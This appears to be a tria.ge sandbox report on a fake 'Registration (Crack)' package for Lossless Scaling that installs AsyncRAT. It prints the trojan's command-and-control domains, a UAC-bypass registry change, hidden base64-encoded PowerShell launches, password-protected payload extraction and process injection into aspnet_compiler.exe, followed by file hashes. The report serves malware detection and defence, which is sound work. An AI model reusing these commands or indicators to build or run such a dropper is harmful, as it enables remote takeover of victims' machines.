Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Overview
overview
10Static
static
3Registrati...ck.bat
windows11-21h2-x64
10Registrati...vn.exe
windows11-21h2-x64
8Registrati...CU.ps1
windows11-21h2-x64
6Registrati...an.vbs
windows11-21h2-x64
3Registrati...AR.exe
windows11-21h2-x64
3Registrati...RU.ps1
windows11-21h2-x64
3Registrati...UK.ps1
windows11-21h2-x64
10Registrati...in.ps1
windows11-21h2-x64
10Registrati...an.vbs
windows11-21h2-x64
3Registrati...ss.dll
windows11-21h2-x64
1Registrati...ng.exe
windows11-21h2-x64
3Registrati...es.dll
windows11-21h2-x64
1Registrati...es.dll
windows11-21h2-x64
1Registrati...es.dll
windows11-21h2-x64
1Registrati...es.dll
windows11-21h2-x64
1Registrati...es.dll
windows11-21h2-x64
1Registrati...es.dll
windows11-21h2-x64
1Registrati...es.dll
windows11-21h2-x64
1Registrati...es.dll
windows11-21h2-x64
1Registrati...es.dll
windows11-21h2-x64
1Registrati...es.dll
windows11-21h2-x64
1Registrati...es.dll
windows11-21h2-x64
1Registrati...es.dll
windows11-21h2-x64
1Registrati...es.dll
windows11-21h2-x64
1Registrati...es.dll
windows11-21h2-x64
1Registrati...es.dll
windows11-21h2-x64
1Registrati...es.dll
windows11-21h2-x64
1Registrati...es.dll
windows11-21h2-x64
1Registrati...es.dll
windows11-21h2-x64
1Registrati...es.dll
windows11-21h2-x64
1Registrati...es.dll
windows11-21h2-x64
1Registrati...es.dll
windows11-21h2-x64
1Analysis
-
max time kernel
563s -
max time network
901s -
platform
windows11-21h2_x64 -
resource
win11-20250217-en -
resource tags
arch:x64arch:x86image:win11-20250217-enlocale:en-usos:windows11-21h2-x64system -
submitted
12/03/2025, 18:41
Static task
static1
Behavioral task
behavioral1
Sample
Registration (Crack)/Crack.bat
Resource
win11-20250217-en
Behavioral task
behavioral2
Sample
Registration (Crack)/language/en-US/Devn.exe
Resource
win11-20250217-en
Behavioral task
behavioral3
Sample
Registration (Crack)/language/en-US/HKCU.ps1
Resource
win11-20250217-en
Behavioral task
behavioral4
Sample
Registration (Crack)/language/en-US/Lan.vbs
Resource
win11-20250217-en
Behavioral task
behavioral5
Sample
Registration (Crack)/language/en-US/RAR.exe
Resource
win11-20250217-en
Behavioral task
behavioral6
Sample
Registration (Crack)/language/en-US/RU.ps1
Resource
win11-20250217-en
Behavioral task
behavioral7
Sample
Registration (Crack)/language/en-US/UK.ps1
Resource
win11-20250217-en
Behavioral task
behavioral8
Sample
Registration (Crack)/language/en-US/Win.ps1
Resource
win11-20250217-en
Behavioral task
behavioral9
Sample
Registration (Crack)/language/uk-UA/Lan.vbs
Resource
win11-20250217-en
Behavioral task
behavioral10
Sample
Registration (Crack)/language/uk-UA/Lossless.dll
Resource
win11-20250217-en
Behavioral task
behavioral11
Sample
Registration (Crack)/language/uk-UA/LosslessScaling.exe
Resource
win11-20250217-en
Behavioral task
behavioral12
Sample
Registration (Crack)/language/uk-UA/ar/LosslessScaling.resources.dll
Resource
win11-20250218-en
Behavioral task
behavioral13
Sample
Registration (Crack)/language/uk-UA/bg/LosslessScaling.resources.dll
Resource
win11-20250217-en
Behavioral task
behavioral14
Sample
Registration (Crack)/language/uk-UA/cs/LosslessScaling.resources.dll
Resource
win11-20250217-en
Behavioral task
behavioral15
Sample
Registration (Crack)/language/uk-UA/de/LosslessScaling.resources.dll
Resource
win11-20250217-en
Behavioral task
behavioral16
Sample
Registration (Crack)/language/uk-UA/es-ES/LosslessScaling.resources.dll
Resource
win11-20250217-en
Behavioral task
behavioral17
Sample
Registration (Crack)/language/uk-UA/fa/LosslessScaling.resources.dll
Resource
win11-20250218-en
Behavioral task
behavioral18
Sample
Registration (Crack)/language/uk-UA/fr/LosslessScaling.resources.dll
Resource
win11-20250217-en
Behavioral task
behavioral19
Sample
Registration (Crack)/language/uk-UA/he/LosslessScaling.resources.dll
Resource
win11-20250217-en
Behavioral task
behavioral20
Sample
Registration (Crack)/language/uk-UA/hr/LosslessScaling.resources.dll
Resource
win11-20250217-en
Behavioral task
behavioral21
Sample
Registration (Crack)/language/uk-UA/id/LosslessScaling.resources.dll
Resource
win11-20250217-en
Behavioral task
behavioral22
Sample
Registration (Crack)/language/uk-UA/it/LosslessScaling.resources.dll
Resource
win11-20250217-en
Behavioral task
behavioral23
Sample
Registration (Crack)/language/uk-UA/ja/LosslessScaling.resources.dll
Resource
win11-20250217-en
Behavioral task
behavioral24
Sample
Registration (Crack)/language/uk-UA/ko/LosslessScaling.resources.dll
Resource
win11-20250217-en
Behavioral task
behavioral25
Sample
Registration (Crack)/language/uk-UA/lt/LosslessScaling.resources.dll
Resource
win11-20250217-en
Behavioral task
behavioral26
Sample
Registration (Crack)/language/uk-UA/pl/LosslessScaling.resources.dll
Resource
win11-20250217-en
Behavioral task
behavioral27
Sample
Registration (Crack)/language/uk-UA/pt-BR/LosslessScaling.resources.dll
Resource
win11-20250217-en
Behavioral task
behavioral28
Sample
Registration (Crack)/language/uk-UA/pt-PT/LosslessScaling.resources.dll
Resource
win11-20250217-en
Behavioral task
behavioral29
Sample
Registration (Crack)/language/uk-UA/ro/LosslessScaling.resources.dll
Resource
win11-20250217-en
Behavioral task
behavioral30
Sample
Registration (Crack)/language/uk-UA/sr-Latn/LosslessScaling.resources.dll
Resource
win11-20250217-en
Behavioral task
behavioral31
Sample
Registration (Crack)/language/uk-UA/tr/LosslessScaling.resources.dll
Resource
win11-20250217-en
Behavioral task
behavioral32
Sample
Registration (Crack)/language/uk-UA/uk/LosslessScaling.resources.dll
Resource
win11-20250217-en
General
-
Target
Registration (Crack)/Crack.bat
-
Size
2KB
-
MD5
e90e30e3c6697d870286c1a6831a135b
-
SHA1
1fa1f0d27f23fe364a2e0c198687ff3362d467fd
-
SHA256
b08aaa0b0319c50f5614419752f4c45fa30b5e48137018e009672791447f4e6f
-
SHA512
7feff998c5c7cf4e1cffbf8e654363168b10cd6b942116cb7ab04407ee0e3b40c523d5a273ce984a30ce7fdfb308a43e8ed41f7f3862faa0b25c083dd940ecb6
Malware Config
Extracted
asyncrat
A 14
Default
nams.ddnsfree.com:409
aliomar.ooguy.com:409
MaterxMutex_Egypt409
-
delay
3
-
install
false
-
install_folder
%AppData%
Signatures
-
Asyncrat family
-
UAC bypass 3 TTPs 1 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell and hide display window.
pid Process 1288 powershell.exe 1996 powershell.exe 3616 powershell.exe 4216 powershell.exe -
Executes dropped EXE 3 IoCs
pid Process 4352 LosslessScaling.exe 2424 RAR.exe 2788 dismhost.exe -
Loads dropped DLL 24 IoCs
pid Process 4352 LosslessScaling.exe 2788 dismhost.exe 2788 dismhost.exe 2788 dismhost.exe 2788 dismhost.exe 2788 dismhost.exe 2788 dismhost.exe 2788 dismhost.exe 2788 dismhost.exe 2788 dismhost.exe 2788 dismhost.exe 2788 dismhost.exe 2788 dismhost.exe 2788 dismhost.exe 2788 dismhost.exe 2788 dismhost.exe 2788 dismhost.exe 2788 dismhost.exe 2788 dismhost.exe 2788 dismhost.exe 2788 dismhost.exe 2788 dismhost.exe 2788 dismhost.exe 2788 dismhost.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 4216 set thread context of 4896 4216 powershell.exe 106 PID 3616 set thread context of 2076 3616 powershell.exe 108 -
Drops file in Program Files directory 30 IoCs
description ioc Process File created C:\Program Files (x86)\Lossless Scaling\fa\LosslessScaling.resources.dll powershell.exe File created C:\Program Files (x86)\Lossless Scaling\pt-PT\LosslessScaling.resources.dll powershell.exe File created C:\Program Files (x86)\Lossless Scaling\tr\LosslessScaling.resources.dll powershell.exe File created C:\Program Files (x86)\Lossless Scaling\it\LosslessScaling.resources.dll powershell.exe File created C:\Program Files (x86)\Lossless Scaling\sr-Latn\LosslessScaling.resources.dll powershell.exe File created C:\Program Files (x86)\Lossless Scaling\bg\LosslessScaling.resources.dll powershell.exe File created C:\Program Files (x86)\Lossless Scaling\vi\LosslessScaling.resources.dll powershell.exe File created C:\Program Files (x86)\Lossless Scaling\LosslessScaling.exe powershell.exe File created C:\Program Files (x86)\Lossless Scaling\es-ES\LosslessScaling.resources.dll powershell.exe File created C:\Program Files (x86)\Lossless Scaling\pl\LosslessScaling.resources.dll powershell.exe File created C:\Program Files (x86)\Lossless Scaling\config.ini powershell.exe File created C:\Program Files (x86)\Lossless Scaling\Licenses.txt powershell.exe File created C:\Program Files (x86)\Lossless Scaling\hr\LosslessScaling.resources.dll powershell.exe File created C:\Program Files (x86)\Lossless Scaling\id\LosslessScaling.resources.dll powershell.exe File created C:\Program Files (x86)\Lossless Scaling\uk\LosslessScaling.resources.dll powershell.exe File created C:\Program Files (x86)\Lossless Scaling\LosslessScaling.exe.config powershell.exe File created C:\Program Files (x86)\Lossless Scaling\he\LosslessScaling.resources.dll powershell.exe File created C:\Program Files (x86)\Lossless Scaling\ko\LosslessScaling.resources.dll powershell.exe File created C:\Program Files (x86)\Lossless Scaling\lt\LosslessScaling.resources.dll powershell.exe File created C:\Program Files (x86)\Lossless Scaling\ja\LosslessScaling.resources.dll powershell.exe File created C:\Program Files (x86)\Lossless Scaling\cs\LosslessScaling.resources.dll powershell.exe File created C:\Program Files (x86)\Lossless Scaling\fr\LosslessScaling.resources.dll powershell.exe File created C:\Program Files (x86)\Lossless Scaling\ro\LosslessScaling.resources.dll powershell.exe File created C:\Program Files (x86)\Lossless Scaling\zh-TW\LosslessScaling.resources.dll powershell.exe File created C:\Program Files (x86)\Lossless Scaling\pt-BR\LosslessScaling.resources.dll powershell.exe File created C:\Program Files (x86)\Lossless Scaling\Lan.vbs powershell.exe File created C:\Program Files (x86)\Lossless Scaling\Lossless.dll powershell.exe File created C:\Program Files (x86)\Lossless Scaling\zh-CN\LosslessScaling.resources.dll powershell.exe File created C:\Program Files (x86)\Lossless Scaling\ar\LosslessScaling.resources.dll powershell.exe File created C:\Program Files (x86)\Lossless Scaling\de\LosslessScaling.resources.dll powershell.exe -
Drops file in Windows directory 2 IoCs
description ioc Process File opened for modification C:\Windows\Logs\DISM\dism.log Dism.exe File opened for modification C:\Windows\Logs\DISM\dism.log dismhost.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language aspnet_compiler.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language aspnet_compiler.exe -
Modifies Control Panel 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-501547156-4130638328-323075719-1000\Control Panel\Colors LosslessScaling.exe -
Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-501547156-4130638328-323075719-1000_Classes\Local Settings powershell.exe -
Modifies registry key 1 TTPs 1 IoCs
pid Process 1952 reg.exe -
Runs net.exe
-
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 4896 aspnet_compiler.exe -
Suspicious behavior: EnumeratesProcesses 30 IoCs
pid Process 1288 powershell.exe 1288 powershell.exe 1996 powershell.exe 1996 powershell.exe 4352 LosslessScaling.exe 4352 LosslessScaling.exe 4352 LosslessScaling.exe 4352 LosslessScaling.exe 4352 LosslessScaling.exe 4352 LosslessScaling.exe 4352 LosslessScaling.exe 4352 LosslessScaling.exe 4352 LosslessScaling.exe 1996 powershell.exe 3616 powershell.exe 4216 powershell.exe 4216 powershell.exe 4216 powershell.exe 3616 powershell.exe 3616 powershell.exe 4896 aspnet_compiler.exe 4352 LosslessScaling.exe 4352 LosslessScaling.exe 4352 LosslessScaling.exe 4896 aspnet_compiler.exe 4896 aspnet_compiler.exe 4896 aspnet_compiler.exe 4896 aspnet_compiler.exe 4896 aspnet_compiler.exe 4896 aspnet_compiler.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 4896 aspnet_compiler.exe -
Suspicious use of AdjustPrivilegeToken 8 IoCs
description pid Process Token: SeDebugPrivilege 1288 powershell.exe Token: SeDebugPrivilege 1996 powershell.exe Token: SeDebugPrivilege 4352 LosslessScaling.exe Token: SeDebugPrivilege 3616 powershell.exe Token: SeDebugPrivilege 4216 powershell.exe Token: SeDebugPrivilege 4896 aspnet_compiler.exe Token: SeBackupPrivilege 996 Dism.exe Token: SeRestorePrivilege 996 Dism.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 4352 LosslessScaling.exe 4896 aspnet_compiler.exe -
Suspicious use of WriteProcessMemory 52 IoCs
description pid Process procid_target PID 3028 wrote to memory of 4620 3028 cmd.exe 83 PID 3028 wrote to memory of 4620 3028 cmd.exe 83 PID 4620 wrote to memory of 5044 4620 net.exe 84 PID 4620 wrote to memory of 5044 4620 net.exe 84 PID 3028 wrote to memory of 1288 3028 cmd.exe 85 PID 3028 wrote to memory of 1288 3028 cmd.exe 85 PID 1288 wrote to memory of 1996 1288 powershell.exe 87 PID 1288 wrote to memory of 1996 1288 powershell.exe 87 PID 1996 wrote to memory of 1952 1996 powershell.exe 88 PID 1996 wrote to memory of 1952 1996 powershell.exe 88 PID 1996 wrote to memory of 4352 1996 powershell.exe 89 PID 1996 wrote to memory of 4352 1996 powershell.exe 89 PID 1996 wrote to memory of 1596 1996 powershell.exe 93 PID 1996 wrote to memory of 1596 1996 powershell.exe 93 PID 1996 wrote to memory of 4776 1996 powershell.exe 94 PID 1996 wrote to memory of 4776 1996 powershell.exe 94 PID 1996 wrote to memory of 2424 1996 powershell.exe 95 PID 1996 wrote to memory of 2424 1996 powershell.exe 95 PID 1996 wrote to memory of 2632 1996 powershell.exe 97 PID 1996 wrote to memory of 2632 1996 powershell.exe 97 PID 1996 wrote to memory of 392 1996 powershell.exe 98 PID 1996 wrote to memory of 392 1996 powershell.exe 98 PID 1996 wrote to memory of 2496 1996 powershell.exe 99 PID 1996 wrote to memory of 2496 1996 powershell.exe 99 PID 2632 wrote to memory of 3616 2632 WScript.exe 100 PID 2632 wrote to memory of 3616 2632 WScript.exe 100 PID 392 wrote to memory of 4216 392 WScript.exe 102 PID 392 wrote to memory of 4216 392 WScript.exe 102 PID 1996 wrote to memory of 996 1996 powershell.exe 104 PID 1996 wrote to memory of 996 1996 powershell.exe 104 PID 996 wrote to memory of 2788 996 Dism.exe 105 PID 996 wrote to memory of 2788 996 Dism.exe 105 PID 4216 wrote to memory of 4896 4216 powershell.exe 106 PID 4216 wrote to memory of 4896 4216 powershell.exe 106 PID 4216 wrote to memory of 4896 4216 powershell.exe 106 PID 4216 wrote to memory of 4896 4216 powershell.exe 106 PID 4216 wrote to memory of 4896 4216 powershell.exe 106 PID 4216 wrote to memory of 4896 4216 powershell.exe 106 PID 4216 wrote to memory of 4896 4216 powershell.exe 106 PID 4216 wrote to memory of 4896 4216 powershell.exe 106 PID 4216 wrote to memory of 4612 4216 powershell.exe 107 PID 4216 wrote to memory of 4612 4216 powershell.exe 107 PID 3616 wrote to memory of 2076 3616 powershell.exe 108 PID 3616 wrote to memory of 2076 3616 powershell.exe 108 PID 3616 wrote to memory of 2076 3616 powershell.exe 108 PID 3616 wrote to memory of 2076 3616 powershell.exe 108 PID 3616 wrote to memory of 2076 3616 powershell.exe 108 PID 3616 wrote to memory of 2076 3616 powershell.exe 108 PID 3616 wrote to memory of 2076 3616 powershell.exe 108 PID 3616 wrote to memory of 2076 3616 powershell.exe 108 PID 3616 wrote to memory of 700 3616 powershell.exe 109 PID 3616 wrote to memory of 700 3616 powershell.exe 109 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Registration (Crack)\Crack.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:3028 -
C:\Windows\system32\net.exenet session2⤵
- Suspicious use of WriteProcessMemory
PID:4620 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session3⤵PID:5044
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "$b='"cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IEJ5cGFzcyAtRmlsZSBsYW5ndWFnZS93aW5feC5wczE="';Invoke-Expression([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b)))"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1288 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File language/win_x.ps13⤵
- UAC bypass
- Command and Scripting Interpreter: PowerShell
- Drops file in Program Files directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1996 -
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" ADD HKCU\SOFTWARE\Valve\Steam\Apps\993090 /v Installed /t REG_DWORD /d 1 /f4⤵
- Modifies registry key
PID:1952
-
-
C:\Program Files (x86)\Lossless Scaling\LosslessScaling.exe"C:\Program Files (x86)\Lossless Scaling\LosslessScaling.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies Control Panel
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:4352
-
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /query /tn administrator4⤵PID:1596
-
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /query /tn Backup14⤵PID:4776
-
-
C:\Users\Public\IObitUnlocker\RAR.exe"C:\Users\Public\IObitUnlocker\RAR.exe" x -pahmad..123 -o+ C:\Users\Public\IObitUnlocker\EN.dll C:\Users\Public\IObitUnlocker\4⤵
- Executes dropped EXE
PID:2424
-
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Public\IObitUnlocker\Loader.vbs"4⤵
- Suspicious use of WriteProcessMemory
PID:2632 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass iex([IO.File]::ReadAllText('C:\Users\Public\IObitUnlocker\Report.ps1'))5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3616 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"6⤵
- System Location Discovery: System Language Discovery
PID:2076
-
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /query /tn administrator6⤵PID:700
-
-
-
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Public\IObitUnlocker\Backup.vbs"4⤵
- Suspicious use of WriteProcessMemory
PID:392 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass iex([IO.File]::ReadAllText('C:\Users\Public\IObitUnlocker\Report.ps1'))5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4216 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"6⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:4896
-
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /query /tn administrator6⤵PID:4612
-
-
-
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /query /tn Backup14⤵PID:2496
-
-
C:\Windows\system32\Dism.exe"C:\Windows\system32\Dism.exe" /Online /Enable-Feature /FeatureName:NetFx34⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:996 -
C:\Users\Admin\AppData\Local\Temp\AA708320-1B6C-4700-894F-F50909957D58\dismhost.exeC:\Users\Admin\AppData\Local\Temp\AA708320-1B6C-4700-894F-F50909957D58\dismhost.exe {C0A4A7D3-4084-42F6-93C2-A30DAB5A9D52}5⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Windows directory
PID:2788
-
-
-
-
Network
MITRE ATT&CK Enterprise v15
Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
1Disable or Modify Tools
1Modify Registry
2Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
4.3MB
MD57969a2cbc4c31ccfb1ab8213f19501b9
SHA106a24af6e922ba2cd7fccb76ce2f43271a9af8b6
SHA256486a48562504a274e984599a5931de200ea73bf6bc4c83bf6ca8daa651e80a68
SHA512935988a39c1af479e971850f6758ee94098b35f173da609206312deeabeb3bc9466f93d1dad4e6d7938235f65fc52fdbd56058d46c1ba775d31718358eb6d8fa
-
Filesize
953KB
MD52c98d33096e97094cbbbd19f27f40883
SHA17e28af9d119d2658f962e3b28140c6081be1612b
SHA256010ac1120a88a772e87d9e9018aa5db034a9bac9399803d4a7c4db3c47a71df6
SHA512f9070ad6b2e3295fdde13aa8d7486147a7f9a675a924ad3bf117479baf5b573cf92650199e58378dd8345a28ab890bbd5021d374030c24836bfa65bb037dddc7
-
Filesize
174B
MD52a2df45a07478a1c77d5834c21f3d7fd
SHA1f949e331f0d75ba38d33a072f74e2327c870d916
SHA256051099983b896673909e01a1f631b6652abb88da95c9f06f3efef4be033091fa
SHA5121a6dd48f92ea6b68ee23b86ba297cd1559f795946ecda17ade68aea3dda188869bba380e3ea3472e08993f4ae574c528b34c3e25503ee6119fd4f998835e09d7
-
Filesize
2KB
MD545fed0a3bcbc889ca99d0c5943210e7e
SHA1602584366a413cb9ae459b6c3231190cd787241e
SHA2569812fe8104a86e693d6baa02a4cdb56ea9a4aedb500b050346eb5ec6bda8dd09
SHA512d0728fcce9484daedb2c9552ee2a818f7cccbeb1e9bca24a1c4fc1ca6e8c181c46cdc89670bfee3d6ad219ea6f69750bd03f776af4f9e4667872c66c11dbd255
-
Filesize
664KB
MD5a31cb807bf0ab4ddbbe2b6bb96ae6cd1
SHA1cf63765b41aee9cd7ae76c04dfbb6151e909b3c9
SHA25637f45e6fc1e531279dcffed70c420df7b073504efe43bbb99a33a9ec24b75a47
SHA5126a83378c7e88fe04dde20685889d76fd7efdf4e02342a952ba2e6ab0fa354e3293560986e5fded00718e4c14417970db0c06e6384277ae1e50021bb4dc87fad3
-
Filesize
136KB
MD5702f9c8fb68fd19514c106e749ec357d
SHA17c141106e4ae8f3a0e5f75d8277ec830fc79eccc
SHA25621ad24a767aeb22d27d356bc8381f103ab620de1a47e374b9f961e44b543a358
SHA5122e7d403c89dacdda623ed1a107bac53aafde089fdd66088d578d6b55bcfe0a4fc7b54733642162bd62d0ca3f1696667a6f0cb4b572d81a6eefd6792d6003c0d9
-
Filesize
1004KB
MD5f51151b2d8d84cddbedbeffebdc6ec6a
SHA1adc9c19aa0663e65997f54835228968e13532198
SHA2567fe4e4924fbbfdf6d772cb9d0a4963d49f6aa18b3c86a2e8df6ca49e22f79884
SHA512802b58617be5e92bfc0c7f8c8d7443128d81908ae99d9a4ce0a785f858dc7832c70dc305f2ad39c9f57db01c05f483f6bf949ad8811fc6fb255c5aee88c729b3
-
Filesize
444KB
MD5c73ee8f61bce89d1edad64d16fedcdd6
SHA1e8fe02e68fd278fd4af501e350d412a5a91b269f
SHA256b1045fc7dce8fcf5612f82f8f97f8d243008e4c6b7389187e6babc554dd1e413
SHA5128a5960e6bf35cf07e555558db13c89bf940c92d206adae0eb6e28404b7e499500a8158d29f3400f0b24ab8cedbacb75a28b0138be2e029b70a5cc66cce7cef25
-
Filesize
200KB
MD57f751738de9ac0f2544b2722f3a19eb0
SHA17187c57cd1bd378ef73ba9ad686a758b892c89dc
SHA256db995f4f55d8654fc1245da0df9d1d9d52b02d75131bc3bce501b141888232fc
SHA5120891c2dedb420e10d8528996bc9202c9f5f96a855997f71b73023448867d7d03abee4a9a7e2e19ebe2811e7d09497bce1ea4e9097fcb810481af10860ff43dfb
-
Filesize
168KB
MD517275206102d1cf6f17346fd73300030
SHA1bbec93f6fb2ae56c705efd6e58d6b3cc68bf1166
SHA256dead0ebd5b5bf5d4b0e68ba975e9a70f98820e85d056b0a6b3775fc4df4da0f6
SHA512ce14a4f95328bb9ce437c5d79084e9d647cb89b66cde86a540b200b1667edc76aa27a36061b6e2ceccecb70b9a011b4bd54040e2a480b8546888ba5cc84a01b3
-
Filesize
436KB
MD5e54120aa50f14e0d3d257e77db46ece5
SHA1922203542962ec5f938dcb3c876f060ecf17f9dc
SHA256b5fb1a5eb4090598d5f878cdd37ed8eca82962d85995dd2280b8849fba816b54
SHA512fbce5d707f6a66d451165608520be9d7174a8c22eb9827dfe94d98718e2c961f15ac45583b1743f3b8078b3fe675992d4b97bfc5e4b893b60328d94665f71dc9
-
Filesize
200KB
MD5c22cc16103ee51ba59b765c6b449bddb
SHA1b0683f837e1e44c46c9a050e0a3753893ece24ad
SHA256eb68c7d48f78b46933acba617cf3b5fcb5b8695c8a29295a9fa075f36910825b
SHA5122c382aaddeca4efda63162584c4a2338ffcc1f4828362ce7e927e0b39c470f1f66a7933ae2210d63afb5a2ae25412266fde2ee6bdb896c3c030bdc08b67ec54e
-
Filesize
680KB
MD5a41b0e08419de4d9874893b813dccb5c
SHA12390e00f2c2bc9779e99a669193666688064ea77
SHA25657ce7761531058f3c4289b1240bea6dc06355c9c4b4e88b9c9c0df8012edc5b3
SHA512bd370e49da266148d50144c621f6415bdd5358e6274b1d471b8d4ee1888d93774331c3f75e6cb99782f1c8e772981cbc5a4baf5592c6400f340407dc670e547a
-
Filesize
172KB
MD520fb116831396d9477e352d42097741c
SHA17e063ac9bc173a81dc56dc5864f912041e2c725a
SHA2566a940ba16154c4a1729b8560b03efb5f2558d66b10da4a5ec26c1299ea713bc4
SHA512851843da748555eba735e1f5457044f24f225bd029534019814a6d1baf2e0bd1f171d297c362cfed5977274b266e823b7ad131ae2512568f7a5f2e3ea498b69a
-
Filesize
84KB
MD5f6b7301c18f651567a5f816c2eb7384d
SHA140cd6efc28aa7efe86b265af208b0e49bec09ae4
SHA2568f4e3f600917d49ada481ff0ed125fef4a316b659bb1197dc3036fc8c21a5a61
SHA5124087d819706c64a5d2eed546163c55caacc553b02dc4db0d067b8815d3a24fb06ea08de3de86aac058ff2907f200e4e89eef2357ca23328aaacbe29501ea3286
-
Filesize
248KB
MD54c6d681704e3070df2a9d3f42d3a58a2
SHA1a9f6286ac25f17b6b2acd1fce6459b0bc94c6c81
SHA256f1bbab35b2602d04d096c8de060b2a5cf802499a937fd1ffe749ff7f54852137
SHA512daa0c723312680256c24457162e0ef026b753ba267f3e2755f838e2864a163802c078d8668dd2c2064cb8887f4e382a73d6402a5533b6ac5c3cbf662ad83db86
-
Filesize
312KB
MD534035aed2021763bec1a7112d53732f1
SHA17132595f73755c3ae20a01b6863ac9518f7b75a4
SHA256aac13ddb9ab5a165a38611f1b61229268a40d416f07740d4eefba1a8fcf7c731
SHA512ea045aa46713133a5d0ad20514cc2a8c8fffb99b4e19c4d5262f86167cfce08a31d336222fd3c91e6efbfd90312bb2325337aa02a8489e047b616085fdf46c1d
-
Filesize
108KB
MD5c63f6b6d4498f2ec95de15645c48e086
SHA129f71180feed44f023da9b119ba112f2e23e6a10
SHA25656aca41c62c8d0d1b26db3a01ef6c2da4a6a51fc963eb28411f8f7f029f1bfde
SHA5123a634340d8c66cbc1bef19f701d8bdb034449c28afecce4e8744d18181a20f85a17af3b66c8853cecb8be53f69ae73f85b70e45deac29debab084a25eb3c69dc
-
Filesize
208KB
MD5eb171b7a41a7dd48940f7521da61feb0
SHA19f2a5ddac7b78615f5a7af753d835aaa41e788fc
SHA25656a8527d267116af39864feca528be5b7a88c3b5df94750154b2efcf2fda5d55
SHA5125917266aed1a79ee4cb16bb532ccae99782d0ee8af27cb42a6b39496c3de61c12a30ce524a1a66cc063101ebcfac957d1b129aae0b491c0587f40171ba6bae12
-
Filesize
180KB
MD5e9833a54c1a1bfdab3e5189f3f740ff9
SHA1ffb999c781161d9a694a841728995fda5b6da6d3
SHA256ec137f9caebcea735a9386112cf68f78b92b6a5a38008ce6415485f565e5cf85
SHA5120b18932b24c0257c80225c99be70c5125d2207f9b92681fd623870e7a62599a18fa46bcb5f2b4b01889be73aeb084e1b7e00a4968c699c7fdb3c083ef17a49f9
-
Filesize
213KB
MD53437087e6819614a8d54c9bc59a23139
SHA1ae84efe44b02bacdb9da876e18715100a18362be
